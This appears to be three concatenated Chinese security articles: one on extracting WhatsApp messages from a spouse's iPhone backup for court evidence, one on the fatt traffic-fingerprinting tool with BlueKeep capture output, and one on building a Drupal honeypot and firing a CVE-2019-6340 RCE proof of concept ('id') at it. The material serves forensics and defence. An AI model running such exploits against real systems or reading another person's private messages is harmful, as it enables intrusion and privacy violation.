我不是正常的iPhone用户,所以我开始想办法来做到这一点,我发现iCloud并没有赋予访问实际备份内容的权限。不过这里有一些工具可以帮助你获取登录凭证,并允许你浏览完整的备份内容,但是我不想将我(妻子)的登录凭证透露给这些未知工具。所以,我开始研究如何在不损害帐户安全的前提下做到这一点。

为iPhone充电开机后我发现WhatsApp无法正常工作,并出现了一个奇怪的消息提示Your phone date is inaccurate! Adjust your clock and try again(你的电话日期不准确!请调整你的时钟并再次尝试)。我不知道日期问题与启动WhatsApp有什么关系,但修复日期和时间并没有解决这个问题,我阅读了许多网上的解决方案似乎都是建议卸载重装。但我不想冒这个险,因为在法庭上我需要这些信息作为证据。

第1步 – 从iPhone备份和解压缩文件

此步骤更适用于Mac OS,尽管它在其他操作系统的工作方式类似。

1.创建虚拟机并在上面安装iTunes。确保VM未连接到网络。(如果你不知道如何创建VM,请参阅本文)。

2.将iPhone连接到VM。按照通常的步骤在VM上本地备份iPhone。对于那些对Mac感兴趣的人,可以在该位置找到备份:~/Library/Application Support/MobileSync/Backup

备份格式描述请参阅此处

3.在虚拟机中安装iPhone备份提取工具(如iExplorer by Macroplant)。哪种工具不重要,因为它无法访问互联网,因此你的数据是安全的。

4.最后使用备份提取工具提取chatstorage.sqlite,这是主要的whatsapp会话数据库。要访问它你需要浏览到“App Group”→“group.net.whatsapp.WhatsApp.shared”

5.另外,你还可以通过提取文件夹来提取media:“App” → “net.whatsapp.WhatsApp” → “Library” → “Media”

从WhatsApp的备份数据库中提取消息

第2步 – 连接到数据库并阅读消息表

WhatsApp似乎将所有对话存储在了Sqlite DB中。作为第一步,让我们尝试使用sqlite3内置的python库+Pandas来查看我们是否可以连接到数据库并获取表的列:

从WhatsApp的备份数据库中提取消息

如你所见,有18张表。通过仔细观察其中一个表引起了我的注意(即带有你的消息的那个)似乎是ZWAMESSAGE。让我们打开它:

从WhatsApp的备份数据库中提取消息

可以看到该表中有34列:

从WhatsApp的备份数据库中提取消息

让我们看看我们有什么。以下是我根据我在自己数据库中的表中找到的数据和我的推论进行的分析:

1. Z_PK — seems like a serial number
2. Z_ENT to ZFILTEREDRECIPIENTCOUNT — seem less important
3. ZFLAGS — seems to indicate message state
4. ZGROUPEVENTTYPE — seems to be related to group chats
5. ZISFROMME — message is from me… it is 1 for messages sent by this user and 0 for messages received
6. ZMESSAGEERRORSTATUS to ZSPOTLIGHTSTATUS — seems like general statuses
7. ZSTARRED — did we star the message
8. ZCHATSESSION — unique identifier denoting a chat session
9. ZGROUPMEMBER — haven’t gotten to look at this one yet
10. ZLASTSESSION — last chat session? didn’t dig into it
11. ZMEDIAITEM — seems related to media item indexing, might be an identifier to one of the other tables
12. ZMESSAGEINFO and ZPARENTMESSAGE — seem simple enough to figure out from the names
13. ZMESSAGEDATE — message creation date probably (see date format discussion below)
14. ZSENTDATE — message sent date probably (see date format discussion below)
15. ZFROMJID — from who did we get it (if it is an incoming message)
16. ZMEDIASECTIONID — seems related to media storage for media messages, doesn’t show in messages without media
17. ZPHASH - hmmm... not sure
18. ZPUSHNAME — seems like the contact name on your phone
19. ZSTANZAID — some conversation / media id indicator. Format seems different in media messages and text messages
20. ZTEXT — message text
21. ZTOJID — to whom did we send it (if it is an outgoing message)

第3步 – 提取特定的对话

我们的基本目标是提取特定的对话或通信。因此,如果我们记住部分文本,我们可以按姓名或电话号码搜索联系人,或者按消息搜索特定的对话,最终根据会话ID提取完整的对话。

但是,在我们做这些之前,我们应该先弄清楚如何将日期和时间转换成人类可读的格式。直觉上我假设zmessagedate是一个unix时间戳。所以我把它转换成一个日期,这就是我得到的结果:

从WhatsApp的备份数据库中提取消息

苹果似乎以其无限独特的智慧决定在iPhone上使用从1.1.2001开始的日期,所以让我们看看如果我们将unix-time time0的偏移量添加到1.1.2001,会发生什么情况:

从WhatsApp的备份数据库中提取消息

这似乎解决了这个问题。在此过程中,我还向data-frame添加了一个日期索引,使其更易于使用。请注意,如果你从Android或其他操作系统导入,则可能不需要使用此日期转换。

日期有了,现在我们可以开始提取对话了。首先,让我们提取一个我们关心的对话,比如一个特定的号码:

从WhatsApp的备份数据库中提取消息

你应该注意到我创建的lambda用于搜索列。这里有一个让人失望的Python “Wat” moment ,因为False | None != None | False这是不合理的。无论如何,继续看ZCHATSESSION列,我们会注意到在我的例子中,这个号码的会话ID将是“104.0”(如果还有群组聊天,你可能会看到多个聊天会话ID)。所以下一步将是提取聊天会话中的所有消息。为此,让我们为它和上面提到的其他搜索方法添加适当的访问器(accessors):

从WhatsApp的备份数据库中提取消息

现在,让我们从聊天会话中获取所有消息并显示它们(启用多行格式以查看所有文本):

第4部分 – 结束语及media提取的注意事项

媒体文件被存储在步骤1中提到的文件夹中,子文件夹基于共享文件的联系人的电话号码(以及表示组聊天的后缀?- 这是一个猜测)。每个电话号码下的子文件夹似乎遵循与iTunes备份格式类似的逻辑,我怀疑消息表引用了媒体表中的链接,但我没有花时间去实际验证。最后一点要注意的是,一些文件夹还将包含一些thumb文件,这些文件实际上只是JPG文件(重命名即可正常打开)。

Jupyter notebook的代码可以在Github上找到

我已从中删除了个人信息,但代码和示例完全相同。此外,notebook可能还包含了一些额外的信息。

最后,如果你有耐心并且找出了更多的信息或者对代码有任何的改进建议,那么欢迎你随时在github上发送pull request!感谢阅读!

 *参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

fatt:从pcap或实时网络流量中提取元数据和指纹

fatt是一个用于从pcap或实时网络流量中提取元数据和指纹(如JA3HASSH)的python脚本。其主要用例是监视蜜罐,但你也可以用于其他用例,例如网络取证分析。fatt当前支持的系统包括Linux,macOS和Windows。

注意,fatt使用pyshark(tshark的python包装器),因此性能并不是很好!但这问题不大,因为显然这不是你在生产中使用的工具。你可以使用其他网络分析工具(如Bro/ZeekSuricataNetcap)来处理那些更为严重的用例。 Joy则是另一个非常不错的用于捕获和分析网络流数据的工具。

除此之外,我正在开发基于go的fatt版本它的处理速度会更快,你可以在基于gopacket的工具中使用它的库,例如packetbeat。我发布了其gQUIC库(QUICk)的初始版本。

特性

协议支持:SSL/TLS,SSH,RDP,HTTP,gQUIC。

即将添加:IETF QUIC,MySQL,MSSQL 等。

指纹

JA3:TLS client/server 指纹

HASSH:SSH client/server 指纹 

RDFP:我的标准RDP安全协议的实验性RDP指纹(注意其他RDP安全模式使用TLS并且可以使用JA3进行指纹识别) HTTP header 指纹 gQUIC/iQUIC 指纹(即将添加) JSON 输出

安装

安装 tshark

你需要先安装tshark。确保你当前的版本为v2.9.0或更高版本。Tshark/Wireshak从版本v2.9.0将’ssl’重命名为’tls’,fatt基于新版本的tshark编写。

安装依赖

cd fatt/
pip3 install pipenv
pipenv install

或者如果你不想使用虚拟环境,只需安装pyshark:

pip3 install pyshark==0.4.2.2

要激活virtualenv,请运行pipenv shell:

$ pipenv shell
Launching subshell in virtual environment…
bash-3.2$  . /Users/adel/.local/share/virtualenvs/fatt-ucJHMzzt/bin/activate
(fatt-ucJHMzzt) bash-3.2$ python3 fatt.py -h

或者,使用pipenv run在virtualenv中运行命令:

$ pipenv run python3 fatt.py -h

输出:

usage: fatt.py [-h] [-r READ_FILE] [-d READ_DIRECTORY] [-i INTERFACE]
               [-fp [{tls,ssh,rdp,http,gquic} [{tls,ssh,rdp,http,gquic} ...]]]
               [-da DECODE_AS] [-f BPF_FILTER] [-j] [-o OUTPUT_FILE]
               [-w WRITE_PCAP] [-p]

A python script for extracting network fingerprints

optional arguments:
  -h, --help            show this help message and exit
  -r READ_FILE, --read_file READ_FILE
                        pcap file to process
  -d READ_DIRECTORY, --read_directory READ_DIRECTORY
                        directory of pcap files to process
  -i INTERFACE, --interface INTERFACE
                        listen on interface
  -fp [{tls,ssh,rdp,http,gquic} [{tls,ssh,rdp,http,gquic} ...]], --fingerprint [{tls,ssh,rdp,http,gquic} [{tls,ssh,rdp,http,gquic} ...]]
                        protocols to fingerprint. Default: all
  -da DECODE_AS, --decode_as DECODE_AS
                        a dictionary of {decode_criterion_string:
                        decode_as_protocol} that is used to tell tshark to
                        decode protocols in situations it wouldn't usually.
  -f BPF_FILTER, --bpf_filter BPF_FILTER
                        BPF capture filter to use (for live capture only).'
  -j, --json_logging    log the output in json format
  -o OUTPUT_FILE, --output_file OUTPUT_FILE
                        specify the output log file. Default: fatt.log
  -w WRITE_PCAP, --write_pcap WRITE_PCAP
                        save the live captured packets to this file
  -p, --print_output    print the output

使用

实时网络流量捕获:

$ python3 fatt.py -i en0 --print_output --json_logging
192.168.1.10:59565 -> 192.168.1.3:80 [HTTP] hash=598c34a2838e82f9ec3175305f233b89 userAgent="Spotify/109600181 OSX/0 (MacBookPro14,3)"
192.168.1.10:59566 -> 13.237.44.5:22 [SSH] hassh=ec7378c1a92f5a8dde7e8b7a1ddf33d1 client=SSH-2.0-OpenSSH_7.9
13.237.44.5:22 -> 192.168.1.10:59566 [SSH] hasshS=3f0099d323fed5119bbfcca064478207 server=SSH-2.0-babeld-80573d3e
192.168.1.10:59584 -> 93.184.216.34:443 [TLS] ja3=e6573e91e6eb777c0933c5b8f97f10cd serverName=example.com
93.184.216.34:443 -> 192.168.1.10:59584 [TLS] ja3s=ae53107a2e47ea20c72ac44821a728bf
192.168.1.10:59588 -> 192.168.1.3:80 [HTTP] hash=598c34a2838e82f9ec3175305f233b89 userAgent="Spotify/109600181 OSX/0 (MacBookPro14,3)"
192.168.1.10:59601 -> 216.58.196.142:80 [HTTP] hash=d6662c018cd4169689ddf7c6c0f8ca1b userAgent="curl/7.54.0"
216.58.196.142:80 -> 192.168.1.10:59601 [HTTP] hash=c5241aca9a7c86f06f476592f5dda9a1 server=gws
192.168.1.10:54387 -> 216.58.203.99:443 [QUIC] UAID="Chrome/74.0.3729.169 Intel Mac OS X 10_14_5" SNI=clientservices.googleapis.com AEAD=AESG KEXS=C255

JSON 输出:

$ cat fatt.log
{"timestamp": "2019-05-28T03:41:25.415086", "sourceIp": "192.168.1.10", "destinationIp": "192.168.1.3", "sourcePort": "59565", "destinationPort": "80", "protocol": "http", "http": {"requestURI": "/DIAL/apps/com.spotify.Spotify.TVv2", "requestFullURI": "http://192.168.1.3/DIAL/apps/com.spotify.Spotify.TVv2", "requestVersion": "HTTP/1.1", "requestMethod": "GET", "userAgent": "Spotify/109600181 OSX/0 (MacBookPro14,3)", "clientHeaderOrder": "connection,accept_encoding,host,user_agent", "clientHeaderHash": "598c34a2838e82f9ec3175305f233b89"}}
{"timestamp": "2019-05-28T03:41:26.099574", "sourceIp": "13.237.44.5", "destinationIp": "192.168.1.10", "sourcePort": "22", "destinationPort": "59566", "protocol": "ssh", "ssh": {"server": "SSH-2.0-babeld-80573d3e", "hasshServer": "3f0099d323fed5119bbfcca064478207", "hasshServerAlgorithms": "curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256;[email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc;[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib,[email protected]", "hasshVersion": "1.0", "skex": "curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256", "seastc": "[email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc", "smastc": "[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1", "scastc": "none,zlib,[email protected]", "slcts": "[Empty]", "slstc": "[Empty]", "seacts": "[email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc", "smacts": "[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1", "scacts": "none,zlib,[email protected]", "sshka": "ssh-dss,rsa-sha2-512,rsa-sha2-256,ssh-rsa"}}
{"timestamp": "2019-05-28T03:41:26.106737", "sourceIp": "192.168.1.10", "destinationIp": "13.237.44.5", "sourcePort": "59566", "destinationPort": "22", "protocol": "ssh", "ssh": {"client": "SSH-2.0-OpenSSH_7.9", "hassh": "ec7378c1a92f5a8dde7e8b7a1ddf33d1", "hasshAlgorithms": "curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;[email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected];[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,[email protected],zlib", "hasshVersion": "1.0", "ckex": "curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c", "ceacts": "[email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected]", "cmacts": "[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1", "ccacts": "none,[email protected],zlib", "clcts": "[Empty]", "clstc": "[Empty]", "ceastc": "[email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected]", "cmastc": "[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1", "ccastc": "none,[email protected],zlib", "cshka": "[email protected],[email protected],[email protected],rsa-sha2-512,rsa-sha2-256,ssh-rsa,[email protected],[email protected],[email protected],[email protected],ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519"}}
{"timestamp": "2019-05-28T03:41:36.762811", "sourceIp": "192.168.1.10", "destinationIp": "93.184.216.34", "sourcePort": "59584", "destinationPort": "443", "protocol": "tls", "tls": {"serverName": "example.com", "ja3": "e6573e91e6eb777c0933c5b8f97f10cd", "ja3Algorithms": "771,49200-49196-49192-49188-49172-49162-159-107-57-52393-52392-52394-65413-196-136-129-157-61-53-192-132-49199-49195-49191-49187-49171-49161-158-103-51-190-69-156-60-47-186-65-49170-49160-22-10-255,0-11-10-13-16,29-23-24,0", "ja3Version": "771", "ja3Ciphers": "49200-49196-49192-49188-49172-49162-159-107-57-52393-52392-52394-65413-196-136-129-157-61-53-192-132-49199-49195-49191-49187-49171-49161-158-103-51-190-69-156-60-47-186-65-49170-49160-22-10-255", "ja3Extensions": "0-11-10-13-16", "ja3Ec": "29-23-24", "ja3EcFmt": "0"}}
{"timestamp": "2019-05-28T03:41:36.920935", "sourceIp": "93.184.216.34", "destinationIp": "192.168.1.10", "sourcePort": "443", "destinationPort": "59584", "protocol": "tls", "tls": {"ja3s": "ae53107a2e47ea20c72ac44821a728bf", "ja3sAlgorithms": "771,49199,65281-0-11-16", "ja3sVersion": "771", "ja3sCiphers": "49199", "ja3sExtensions": "65281-0-11-16"}}
{"timestamp": "2019-05-28T03:41:37.487609", "sourceIp": "192.168.1.10", "destinationIp": "192.168.1.3", "sourcePort": "59588", "destinationPort": "80", "protocol": "http", "http": {"requestURI": "/DIAL/apps/com.spotify.Spotify.TVv2", "requestFullURI": "http://192.168.1.3/DIAL/apps/com.spotify.Spotify.TVv2", "requestVersion": "HTTP/1.1", "requestMethod": "GET", "userAgent": "Spotify/109600181 OSX/0 (MacBookPro14,3)", "clientHeaderOrder": "connection,accept_encoding,host,user_agent", "clientHeaderHash": "598c34a2838e82f9ec3175305f233b89"}}
{"timestamp": "2019-05-28T03:41:48.700730", "sourceIp": "192.168.1.10", "destinationIp": "216.58.196.142", "sourcePort": "59601", "destinationPort": "80", "protocol": "http", "http": {"requestURI": "/", "requestFullURI": "http://google.com/", "requestVersion": "HTTP/1.1", "requestMethod": "GET", "userAgent": "curl/7.54.0", "clientHeaderOrder": "host,user_agent,accept", "clientHeaderHash": "d6662c018cd4169689ddf7c6c0f8ca1b"}}
{"timestamp": "2019-05-28T03:41:48.805393", "sourceIp": "216.58.196.142", "destinationIp": "192.168.1.10", "sourcePort": "80", "destinationPort": "59601", "protocol": "http", "http": {"server": "gws", "serverHeaderOrder": "location,content_type,date,cache_control,server,content_length", "serverHeaderHash": "c5241aca9a7c86f06f476592f5dda9a1"}}
{"timestamp": "2019-05-28T03:41:58.038530", "sourceIp": "192.168.1.10", "destinationIp": "216.58.203.99", "sourcePort": "54387", "destinationPort": "443", "protocol": "gquic", "gquic": {"tagNumber": "25", "sni": "clientservices.googleapis.com", "uaid": "Chrome/74.0.3729.169 Intel Mac OS X 10_14_5", "ver": "Q043", "aead": "AESG", "smhl": "1", "mids": "100", "kexs": "C255", "xlct": "cd9baccc808a6d3b", "copt": "NSTP", "ccrt": "cd9baccc808a6d3b67f8adc58015e3ff", "stk": "d6a64aeb563a19fe091bc34e8c038b0a3a884c5db7caae071180c5b739bca3dd7c42e861386718982fbe6db9d1cb136f799e8d10fd5a", "pdmd": "X509", "ccs": "01e8816092921ae8", "scid": "376976b980c73b669fea57104fb725c6"}}
Packet capture file (pcap):

数据包捕获文件(pcap):

让我们来看看最近的CVE-2019-0708 RDP漏洞(BlueKeep)捕获的Metasploit auxiliary scanner流量。

$ python3 fatt.py -r RDP/cve-2019-0708_metasploit_aux.pcap -p -j; cat fatt.log | python -m json.tool
192.168.1.10:39079 -> 192.168.1.20:3389 [RDP] rdfp=525e1cb209280b81c24f1668dd55ed94 cookie="mstshash=user0" req_protocols=0x00000000

{
    "destinationIp": "192.168.1.20",
    "destinationPort": "3389",
    "protocol": "rdp",
    "rdp": {
        "channelDefArray": {
            "0": {
                "name": "cliprdr",
                "options": "c0a00000"
            },
            "1": {
                "name": "MS_T120",
                "options": "80800000"
            },
            "2": {
                "name": "rdpsnd",
                "options": "c0000000"
            },
            "3": {
                "name": "snddbg",
                "options": "c0000000"
            },
            "4": {
                "name": "rdpdr",
                "options": "80800000"
            }
        },
        "clientBuild": "2600",
        "clientDigProductId": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
        "clientName": "x1810",
        "clientProductId": "1",
        "clusterFlags": "09000000",
        "colorDepth": "0x0000ca01",
        "connectionType": "0",
        "cookie": "mstshash=user0",
        "desktopHeight": "600",
        "desktopWidth": "800",
        "earlyCapabilityFlags": "1",
        "encryptionMethods": "03000000",
        "extEncMethods": "00000000",
        "highColorDepth": "0x00000018",
        "keyboardFuncKey": "12",
        "keyboardLayout": "1033",
        "keyboardSubtype": "0",
        "keyboardType": "4",
        "pad1Octet": "00",
        "postbeta2ColorDepth": "0x0000ca01",
        "rdfp": "525e1cb209280b81c24f1668dd55ed94",
        "rdfpAlgorithms": "4;8;09000000;03000000;00000000;cliprdr:c0a00000;MS_T120:80800000;rdpsnd:c0000000;snddbg:c0000000;rdpdr:80800000",
        "rdfpVersion": "0.2",
        "requestedProtocols": "0x00000000",
        "sasSequence": "43523",
        "serialNumber": "0",
        "supportedColorDepths": "0x00000007",
        "verMajor": "4",
        "verMinor": "8"
    },
    "sourceIp": "192.168.1.10",
    "sourcePort": "39079",
    "timestamp": "2019-05-23T03:51:25.438445"
}

让我们用另一个CVE-2019-0708 PoC测试它:

$ python3 fatt.py -r RDP/cve-2019-0708_poc.pcap -p -j; cat fatt.log | python -m json.tool
192.168.1.10:54303 -> 192.168.1.20:3389 [RDP] req_protocols=0x00000001

{
    "destinationIp": "192.168.1.20",
    "destinationPort": "3389",
    "protocol": "rdp",
    "rdp": {
        "requestedProtocols": "0x00000001"
    },
    "sourceIp": "192.168.1.10",
    "sourcePort": "54303",
    "timestamp": "2019-05-23T18:41:42.572758"
}

这次我们没有看到RDP ClientInfo消息,这是因为PoC使用TLS(而不是标准的RDP安全协议)。因此我们只能看到Negotiation Request消息,但如果你将数据包解码为TLS,则可以看到TLS clientHello和JA3指纹。以下将特定端口解码为另一个协议:

$ python3 fatt.py -r RDP//cve-2019-0708_poc.pcap -p -j --decode_as '{"tcp.port==3389": "tls"}'
192.168.1.10:50026 -> 192.168.1.20:3389 [TLS] ja3=67e3d18fd9dddbbc8eca65f7dedac674 serverName=192.168.1.20
192.168.1.20:3389 -> 192.168.1.10:50026 [TLS] ja3s=649d6810e8392f63dc311eecb6b7098b

$ cat fatt.log
{"timestamp": "2019-05-23T17:21:56.056200", "sourceIp": "192.168.1.10", "destinationIp": "192.168.1.20", "sourcePort": "50026", "destinationPort": "3389", "protocol": "tls", "tls": {"serverName": "192.168.1.20", "ja3": "67e3d18fd9dddbbc8eca65f7dedac674", "ja3Algo
、rithms": "771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-57-51-157-156-61-60-53-47-10-106-64-56-50-19-5-4,0-5-10-11-13-35-23-65281,29-23-24,0", "ja3Version": "771", "ja3Ciphers": "49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-57-51-157-156-61-60-53-47-10-106-64-56-50-19-5-4", "ja3Extensions": "0-5-10-11-13-35-23-65281", "ja3Ec": "29-23-24", "ja3EcFmt": "0"}}
{"timestamp": "2019-05-23T17:21:56.059333", "sourceIp": "192.168.1.20", "destinationIp": "192.168.1.10", "sourcePort": "3389", "destinationPort": "50026", "protocol": "tls", "tls": {"ja3s": "649d6810e8392f63dc311eecb6b7098b", "ja3sAlgorithms": "771,49192,23-65281", "ja3sVersion": "771", "ja3sCiphers": "49192", "ja3sExtensions": "23-65281"}}

 *参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

不久前,我开始了一个管理真实网络蜜罐的项目。最初我建立它是为了管理一些WordPress蜜罐,但在Drupalgeddon2出来后,使我不得不重新构建该项目。这意味着我需要相当长的一段时间才能最终发布它。现在,我终于能够分享我的努力成果了:https://gitlab.com/SecurityBender/webhoneypot-framework

Webhoneypot框架是使用Python 3编写的,需要docker和docker-compose才能运行。你可以使用JSON和相应的docker-compose文件来配置蜜罐。docker-compose文件描述了用于蜜罐的容器及其设置,而JSON文件则用于配置框架如何检测攻击并获取蜜罐的快照。

JSON配置的基本结构如下所示:

{
    "docker_compose_file": "./docker-compose.yml",
    "pre_start": "...",
    "post_start": "...",
    "snapshot_path": "./snapshots",
    "snapshots": [
        ...
    ],
    "detections": [
        ...
    ]
}

docker_compose_file的选项非常简单。使用选项pre_start和post_start,用户可以在启动蜜罐后分别在启动前执行脚本。我通常使用它来调整Web根目录的文件权限和文件所有权。

该框架的主要功能是在检测到攻击后创建蜜罐的快照。目前,可以创建目录或MySQL数据库的快照。

要获取MySQL快照,应在快照下添加mysql_snapshot选项。这将会创建一个标准MySQL容器的MySQL转储(https://hub.docker.com/_/mysql):

{
    "type": "mysql_snapshot",
    "mysql_container_name": "webhoneypot_mysql_1",
    "mysql_user": "root",
    "mysql_password": "Password123!",
    "mysql_restore_path": "./mysql/config"
}

来自docker库的MySQL容器,允许通过将文件放入容器的/docker-entrypoint-initdb.d文件夹来恢复数据库转储。因此mysql_restore_path选项应指向该目录的挂载点。

另一个选项是使用folder_snapshot来创建目录快照:

{
    "type": "folder_snapshot",
    "folder_path": "./apache/html"
},

这将创建指定文件夹的ZIP存档,并将其放在已配置的快照文件夹中。

为了检测攻击,webhoneypot框架目前仅支持folder_changed和file_contains。

检测方法folder_changed可以检测与初始快照相比的任意文件更改:

{
    "type": "folder_changed",
    "folder_path": "./apache/html",
    "ignore_files": [
        "folder_to_ignore/"
    ]
}

folder_path选项必须与folder_snapshot块中指定的选项匹配。为了减少干扰,可以忽略某些文件或文件夹。

第二个检测方法file_contains检测指定的文件是否包含特定的字符串或正则表达式:

{
    "type": "file_contains",
    "file_path": "./nginx/logs/access.log",
    "pattern": "pattern to search"
}

要运行该脚本,只需克隆存储库并运行webhoneypot.py:

$ git clone https://gitlab.com/SecurityBender/webhoneypot-framework.git && cd webhoneypot-framework
$ ./webhoneypot.py -h                                                                                             
usage: webhoneypot.py [-h] -c CONFIG option
Management script for docker-based web application honeypots
positional arguments:
  option                the honeypot option, can be
                        [start|stop|init|update|reset]
optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG, --config CONFIG
                        the honeypot configuration file

该脚本主要支持以下五个选项:

  • start:启动honeypot容器
  • 停止:停止蜜罐容器
  • init:初始化蜜罐(例如,第一次设置)并创建初始快照
  • 更新:更新蜜罐并创建新的初始快照
  • reset:快照蜜罐,检测更改并恢复初始快照

在野捕获 CVE-2019-6340

有了以上的基础,现在我们可以构建和配置Drupal蜜罐来尝试在野捕获CVE-2019-6340。CVE-2019-6340是Drupal core 中的RCE漏洞,它允许攻击者在主机系统上执行任意命令。

配置蜜罐

我已经为构建Drupalgeddon2蜜罐做了一个配置。你可以在GitLab上找到它。让我们克隆它并为CVE-2019-6340做准备。

$ git clone https://gitlab.com/SecurityBender/webhoneypot-drupal.git
$ cd webhoneypot-drupal

在目录中我们有多个目录和文件:

webhoneypot-drupal/
├── apache/
│   └── Dockerfile
├── nginx/
│   ├── config/
│   │   └── default.conf
│   └── Dockerfile
├── docker-compose.yml
├── drupal.json
└── drupal.sh

apache和nginx目录分别包含Apache和nginx容器的数据和配置文件。其中最重要的文件是docker-compose.yml和drupal.json。

docker-compose.yml包含了启动必要容器的所有信息:

version: '2'

services:
  apache:
    build: apache/
    volumes:
      - ./apache/html:/var/www/html
      - ./apache/tmp:/tmp
    networks:
      - webhoneypot

  nginx:
    build: nginx/
    volumes:
      - ./nginx/config/default.conf:/etc/nginx/conf.d/default.conf:ro
      - ./nginx/logs:/var/log/nginx
    ports:
      - "80:80"
    networks:
      - webhoneypot
    depends_on:
      - apache

networks:
  webhoneypot:
    driver: bridge

在此设置中,我们有一个Apache容器,它托管并运行Drupal和一个用作反向代理的nginx。我们将html和tmp目录挂载到Apache容器,以便从主机访问它们,并让我们拍摄快照以及恢复它们。出于同样的目的,我们还将日志目录挂载到了nginx容器。

主要配置在drupal.json中完成:

{
    "docker_compose_file": "./docker-compose.yml",
    "pre_start": "",
    "post_start": "./drupal.sh",
    "snapshot_path": "./snapshots",
    "snapshots": [
        {
            "type": "folder_snapshot",
            "folder_path": "./apache/html"
        },
        {
            "type": "folder_snapshot",
            "folder_path": "./apache/tmp"
        },
        {
            "type": "folder_snapshot",
            "folder_path": "./nginx/logs"
        }
    ],
    "detections": [
        {
            "type": "folder_changed",
            "folder_path": "./apache/html",
            "ignore_files": [
                "sites/default/files/php/twig/"
            ]
        },
        {
            "type": "folder_changed",
            "folder_path": "./apache/tmp",
            "ignore_files": [
            ]
        },
        {
            "type": "file_contains",
            "file_path": "./nginx/logs/access.log",
            "pattern": "node/1\\?_format=hal_json"
        }
    ]
}

首先,我们使用docker_compose_file指定用于通过docker-compose创建,启动和停止docker容器的文件。每次启动容器后,都会执行drupal.sh来调整./apache/html(Web根目录)目录的所有者和权限,并清除nginx访问日志。此外,我们将蜜罐配置为在每次重置后拍摄./apache/html,./apache/tmp和./nginx/logs目录的快照。我注意到很多drupalgeddon2都利用了/tmp中的drop文件,所以我添加了它。

最关键的是检测部分。你可能会看到我们想要检测./apache/html和./apache/tmp目录中的更改。检测到与初始快照不同的所有文件。因为Drupal将一些生成的文件存储在sites/default/files/php/twig/中,所以我们忽略对该目录的任何更改。检测的另一个选项是检查文件是否包含特定的正则表达式。在这种情况下,我们监控nginx访问日志中的典型的CVE-2019-6340 url。

运行蜜罐

配置蜜罐完成后,我们来获取易受攻击的Drupal版本(例如8.6.9),并将其解压缩到./apache/html目录中:

$ wget -q https://ftp.drupal.org/files/projects/drupal-8.6.9.zip
$ unzip drupal-8.6.9.zip -d ./apache/
$ mv ./apache/drupal-8.6.9 ./apache/html

现在让我们克隆Webhoneypot框架,并初始化Drupal蜜罐。使用./webhoneypot.py -c ../webhoneypot-drupal/drupal.json init初始化脚本,将启动并构建所需的容器。

$ ./webhoneypot.py -c ../webhoneypot-drupal/drupal.json init
2019-04-07 15:11:50,455 - DEBUG - Starting docker compose /opt/webhoneypot-drupal/docker-compose.yml ...
Creating network "webhoneypot-drupal_webhoneypot" with driver "bridge"
Building apache
[...]
Building nginx
[...]
Creating webhoneypot-drupal_apache_1 ... done
Creating webhoneypot-drupal_nginx_1  ... done
Press any key if honeypot setup is finished

初始启动成功,我们可以通过公共IP地址访问Drupal实例。配置(启用RESTful服务等) – 比我想象的更难 – 完成后我们按ENTER键,脚本将开始创建蜜罐的初始快照。

2019-04-07 15:23:17,604 - DEBUG - Creating snapshot "initial" ...
2019-04-07 15:23:17,621 - DEBUG - Create folder backup of "/opt/webhoneypot-drupal/apache/html" to "/opt/webhoneypot-drupal/snapshots/initial/_opt_webhoneypot-drupal_apache_html.zip" ...
2019-04-07 15:23:48,775 - DEBUG - Create folder backup of "/opt/webhoneypot-drupal/apache/tmp" to "/opt/webhoneypot-drupal/snapshots/initial/_opt_webhoneypot-drupal_apache_tmp.zip" ...
2019-04-07 15:23:48,787 - DEBUG - Create folder backup of "/opt/webhoneypot-drupal/nginx/logs" to "/opt/webhoneypot-drupal/snapshots/initial/_opt_webhoneypot-drupal_nginx_logs.zip" ...

测试蜜罐

一切运行良好,现在让我们来对它进行测试。我从@leonjza获取到了一个POC并运行了它:

$ python3 poc.py http://<my-ip>/ "id"     
CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
 by @leonjza
References:

https://www.drupal.org/sa-core-2019-003


https://www.ambionics.io/blog/drupal8-rce

[warning] Caching heavily affects reliability of this exploit.
Nodes are used as they are discovered, but once they are done,
you will have to wait for cache expiry.
Targeting http://37.120.165.218/...
